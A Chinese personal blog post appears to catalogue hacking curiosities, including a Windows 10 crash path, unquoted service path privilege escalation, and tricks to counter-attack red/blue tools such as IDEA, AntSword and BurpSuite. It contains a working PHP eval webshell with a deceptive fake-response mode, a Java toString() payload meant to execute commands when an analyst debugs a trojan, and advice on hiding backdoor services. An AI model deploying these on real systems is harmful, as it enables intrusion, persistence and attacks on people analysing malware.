最初选择网安是因为我觉得它很有趣,我喜欢自己研究东西,特别是我觉得有趣的东西,不喜欢学别人早就提出过的或者大家都知道的,奈何实力确实不足,还得跟着大佬的思路走,所以用这篇文章记录一些有趣的奇思妙想或者神奇的黑客技术。
win10蓝屏漏洞
21年的时候推特曝光了一个win10的漏洞,只要访问特定的路径就会导致win10蓝屏
路径:
\\.\globalroot\device\condrv\kernelconnect
一些利用方法:利用win10蓝屏漏洞花样暴打JB小子
Unquoted Service Path
当一个服务被创建,其可执行文件路径包含空格和内未封闭的引号,会导致一个漏洞,它允许用户获得SYSTEM权限。在Windows中,如果服务未包含在引号中并具有空格,则它将作为中断处理该空格,并将服务路径的其余部分作为参数传递。
根本原因:
这是由CreateProcess函数引起的,该函数创建一个新进程及其主线程。
其语法为:
BOOL CreateProcessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTESlpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
字符串参数lpApplicationName。这是将要执行的模块,可以是基于Windows的应用程序。该字符串可以是要执行的模块的完整路径和文件名。如果文件名是包含空格的长字符串文本,并且没有用引号引起来,则文件名将按从左到右的顺序执行,直到到达空格为止,并将在此间隔路径的末尾附加.exe。
举个例子,假如我现在有个calc.exe,作用是执行whoami:
按照逻辑,如果某个文件夹名为calc空格然后什么什么的,我们就能劫持命令让它执行calc.exe
可以看到我们劫持了命令,执行了calc.exe,这就是因为calc programs文件夹出现了空格,导致windows先解析calc.exe是否存在,然后再判断calc programs目录下有没有东西,所以我们不难发现这种方式也能成功执行:
想将后门部署为新服务我们可以用这种方法来混淆检测系统和分析人员
常见黑客工具反制技巧
IDEA反制
idea有一个十分神奇的默认配置,就是它会自动调用tostring(),我们上网随便百度一下就能发现大家有多么深恶痛绝
那么作为一名黑客,我们能干点什么呢?比如利用这个配置进行对蓝队调试人员反控?起一个代码:
import java.io.IOException;
class IDEA_killer {
@Override
public String toString() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
throw new RuntimeException(e);
}
return "";
}
public static void main(String[] args) {
IDEA_killer tests = new IDEA_killer();
System.out.println(tests);
}
}
打断点:
可以看到即使我们把后面的代码全部打了断点tostring还是自动调用了,如果我们在自己的木马或者payload里偷偷加一段恶意代码,调试人员刚进行调试就会被我们反控。
当然,我们可以在IDEA的Settings这里关闭自动调用
蚁剑反制
可能的方法有两种,一种是evoA曾找到的蚁剑rce:蚁剑客户端RCE的挖掘过程及Electron安全;另一种是利用蚁剑内置浏览器rce:端内钓鱼,反制蚁剑,遗憾的是两种方法现在都不行了,第一个cve早被修了,第二个方法里蚁剑也早就不用内置浏览器了,所以利用面其实挺窄的,不过第二篇文章里假🐎的构想挺有意思的,在这里分享一下:
大概意思就是通过对蚁剑流量包的截取以及重新发送,让蚁剑误以为自己连上了🐎,其实并没有,然后我们可以发包进行钓鱼,我修改了一下源码,现在能做到只有输入正确的密码才是真正的🐎,否则就是假🐎:
#webshell.php
<?php
if (isset($_POST['redrockredrock'])) {
$redrockredrock = $_POST['redrockredrock'];
@eval($redrockredrock);
}else{
$A=urldecode(file_get_contents("php://input")); //获取post数据
$iscmd="%(.*)127;%si";
if (preg_match($iscmd,$A,$B)!=0) { //判断数据包类型
//命令欺骗
$ze="%echo \"([^<]*?).\"([^<]*?)\";%si";
preg_match($ze,$A,$B);
$c="$B[0]";
$key= str_replace(['"', '.', 'echo', ' ', ";"], "", $c); //取校验码
$payload='http://127.0.9/index.html'; //远程调用地址
echo "$key".'ret=405'."\n".'数据解码错误,请访问使用文档查询解决方案。AntSword:'."$payload";//这部分内容自由发挥,可以写成更有诱导性的内容
} else {
//信息欺骗
echo "no";
$ze="%echo \"([^<]*?).\"([^<]*?)\";%si";
preg_match($ze,$A,$B);
$c="$B[0]";
$key= str_replace(['"', '.', 'echo', ' ', ";"], "", $c);
$txt='D:/phpstudy_pro/WWW'."\t".'C:D:E:F:'."\t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Edition) i586'."\t".'administrator'; //返回内容会缓存起来在其他功能里用到,也可以利用这个伪造系统类型
echo "$key"."$txt";
}
}
?>
如果输入了正确的密码redrockredrock就可以真正连上,也可以执行命令:
输入其他任何密码就进入假🐎模式,虽然蚁剑显示连上了但其实一切都被我们操控了,这里无论输入啥命令都显示数据解码错误,让我们访问一个链接,这个链接就是当年蚁剑还调用内置浏览器的时候点击恶意链接可以rce,现在不调用就没法了:
思想是挺有趣的,这个链接可能还可以用其他方法利用,只不过利用内置浏览器rce可能没法了,在这里简单分享一下。
cobalstrike反制
这个利用的当然就是那个cve了,但我现在还没复现,简单占个坑
BurpSuite反制
由某个认识的高中师傅发现,交补天给了400(我现在已经遇到过好多厉害到离谱的高中师傅了,真是英雄出少年呀,要是有他们那么厉害我现在肯定已经去大厂了吧哈哈,大学生比不过高中生甚至初中生,难绷)
那个师傅在使用speedtest这个测速项目的时候发现挂了BP的话每次都会卡一下,但不挂BP就不卡,所以如果给一个链接让对方一直下载大文件,代理那边请求不过去就会全部堵在那边,任务管理器中可以肉眼看到burp的内存占用从几百M到几G,最后把自己D死,yakit也可以卡死。
我还没复现过,挺有意思的。
ysoserial反制
还没复现,先占个坑
goby反制
还没复现,先占个坑